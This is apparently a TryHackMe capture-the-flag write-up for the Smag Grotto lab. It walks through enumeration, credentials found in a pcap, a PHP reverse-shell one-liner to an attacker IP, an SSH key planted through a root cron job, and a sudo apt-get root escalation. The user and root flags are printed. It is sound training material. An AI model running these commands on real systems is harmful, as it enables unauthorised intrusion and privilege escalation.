TryHackMe-Smag-Grotto
Do you remember how to analyse packets?
What is the user flag?
Services Enumeration
Let’s start by enumerating the services with Nmap. We discover that SSH is running on port 22/tcp and apache is running on port 80/tcp.
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 74:e0:e1:b4:05:85:6a:15:68:7e:16:da:f2:c7:6b:ee (RSA) | 256 bd:43:62:b9:a1:86:51:36:f8:c7:df:f9:0f:63:8f:a3 (ECDSA) |_ 256 f9:e7:da:07:8f:10:af:97:0b:32:87:c9:32:d7:1b:76 (ED25519) 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) |_http-server-header: Apache/2.4.18 (Ubuntu) |_http-title: Smag Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Web
There is no robots.txt file, but using Gobuster, we discover a hidden location: /mail.
[email protected]:/data/Smag_Grotto$ gobuster dir -u http://10.10.107.212 -w /usr/share/wordlists/dirb/common.txt =============================================================== Gobuster v3.0.1 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_) =============================================================== [+] Url: http://10.10.107.212 [+] Threads: 10 [+] Wordlist: /usr/share/wordlists/dirb/common.txt [+] Status codes: 200,204,301,302,307,401,403 [+] User Agent: gobuster/3.0.1 [+] Timeout: 10s =============================================================== 2020/08/29 12:35:02 Starting gobuster =============================================================== /.hta (Status: 403) /.htpasswd (Status: 403) /.htaccess (Status: 403) /index.php (Status: 200) /mail (Status: 301) /server-status (Status: 403) =============================================================== 2020/08/29 12:35:31 Finished ===============================================================
We are shown with a list of 3 emails in a web page, 1 of which contains an attached *.pcap file: http://10.10.107.212/aW1wb3J0YW50/dHJhY2Uy.pcap
pcap file
We open the pcap in Wireshark. The network capture file only contains 10 frames and we immediately see the POST request to /login.php at frame 4. Right click on it and follow the HTTP stream to reveal the following information:
POST /login.php HTTP/1.1 Host: development.smag.thm User-Agent: curl/7.47.0 Accept: */* Content-Length: 39 Content-Type: application/x-www-form-urlencoded username=helpdesk&password=cH4nG3M3_n0wHTTP/1.1 200 OK Date: Wed, 03 Jun 2020 18:04:07 GMT Server: Apache/2.4.18 (Ubuntu) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Virtual host
The request is sent to the development.smag.thm domain, which is likely a virtual host that we will need to add to our hosts file. We are also provided with credentials.
Let’s add the virtual host to our /etc/hosts file:
10.10.107.212 development.smag.thm
Now, connect to http://development.smag.thm and authenticate with helpdesk:cH4nG3M3_n0w. We are redirected to http://development.smag.thm/admin.php where we can now execute commands.
Reverse shell
Start a listener:
$ rlwrap nc -nlvp 4444
And Send following command to the web form:
php -r '$sock=fsockopen("10.8.50.72",4444);exec("/bin/bash -i <&3 >&3 2>&3");'
We now have a reverse shell:
listening on [any] 4444 ... connect to [10.8.50.72] from (UNKNOWN) [10.10.107.212] 49492 /bin/sh: 0: can't access tty; job control turned off $ SHELL=/bin/bash script -q /dev/null
Listing the content of the /home folder reveals a user named jake. Unfortunately, the user flag in this folder is only accessible by jake.
[email protected]:/var/www/development.smag.thm$ cd /home cd /home [email protected]:/home$ ls -la ls -la total 12 drwxr-xr-x 3 root root 4096 Jun 4 11:37 . drwxr-xr-x 22 root root 4096 Jun 4 11:35 .. drwxr-xr-x 4 jake jake 4096 Jun 5 11:05 jake [email protected]:/home$ cd jake cd jake [email protected]:/home/jake$ ls -la ls -la total 60 drwxr-xr-x 4 jake jake 4096 Jun 5 11:05 . drwxr-xr-x 3 root root 4096 Jun 4 11:37 .. -rw------- 1 jake jake 490 Jun 5 11:05 .bash_history -rw-r--r-- 1 jake jake 220 Jun 4 11:37 .bash_logout -rw-r--r-- 1 jake jake 3771 Jun 4 15:12 .bashrc drwx------ 2 jake jake 4096 Jun 4 11:39 .cache -rw------- 1 root root 28 Jun 5 11:05 .lesshst -rw-r--r-- 1 jake jake 655 Jun 4 11:37 .profile -rw-r--r-- 1 root root 75 Jun 4 15:53 .selected_editor drwx------ 2 jake jake 4096 Jun 4 15:27 .ssh -rw-r--r-- 1 jake jake 0 Jun 4 11:45 .sudo_as_admin_successful -rw------- 1 jake jake 9336 Jun 5 11:05 .viminfo -rw-r--r-- 1 root root 167 Jun 5 09:29 .wget-hsts -rw-rw---- 1 jake jake 33 Jun 4 13:02 user.txt [email protected]:/home/jake$ cat user.txt cat user.txt cat: user.txt: Permission denied
Lateral move
We obviously need to switch to jake. Let’s check if there are interesting scheduled tasks:
[email protected]:/home/jake$ cat /etc/crontab cat /etc/crontab # /etc/crontab: system-wide crontab # Unlike any other crontab you don't have to run the `crontab' # command to install the new version when you edit this file # and files in /etc/cron.d. These files also have username fields, # that none of the other crontabs do. SHELL=/bin/sh PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin # m h dom mon dow user command 17 * * * * root cd / && run-parts --report /etc/cron.hourly 25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily ) 47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly ) 52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly ) * * * * * root /bin/cat /opt/.backups/jake_id_rsa.pub.backup > /home/jake/.ssh/authorized_keys #
The last cronjob seems promising as it copies the content of a SSH public key to jake’s authorized_keys. Moreover, the copied file is world-writable:
[email protected]:/opt/.backups$ ls -l /opt/.backups/jake_id_rsa.pub.backup ls -l /opt/.backups/jake_id_rsa.pub.backup -rw-rw-rw- 1 root root 563 Jun 5 09:25 /opt/.backups/jake_id_rsa.pub.backup
Let’s add our own public key (use ssh-keygen -t rsa to generate your own):
[email protected]:/opt/.backups$ echo "ssh-rsa AAAAB3NzaC[REDACTED]+m7pk= [email protected]" > /opt/.backups/jake_id_rsa.pub.backup
Wait 1 minute and connect as jake without password:
[email protected]:/data/vpn$ ssh [email protected] Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.4.0-142-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage Last login: Fri Jun 5 10:15:15 2020 [email protected]:~$
User flag
From here, we eventually get the user flag:
[email protected]:~$ cat user.txt iusGorV7EbmxM5AuIe2w499msaSuqU3j
What is the root flag?
Privilege escalation
Jake can run apt-get as root without password:
[email protected]:~$ sudo -l Matching Defaults entries for jake on smag: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User jake may run the following commands on smag: (ALL : ALL) NOPASSWD: /usr/bin/apt-get
Checking on GTFOBins reveals that we can take advantage of this to run a privileged shell:
[email protected]:~$ sudo apt-get update -o APT::Update::Pre-Invoke::=/bin/bash [email protected]:/tmp# whoami root
Root flag
Let’s get the root flag:
[email protected]:/tmp# cd /root [email protected]:/root# ls -l total 4 -rw-rw---- 1 root root 33 Jun 4 13:04 root.txt [email protected]:/root# cat root.txt uJr6zRgetaniyHVRqqL58uRasybBKz2T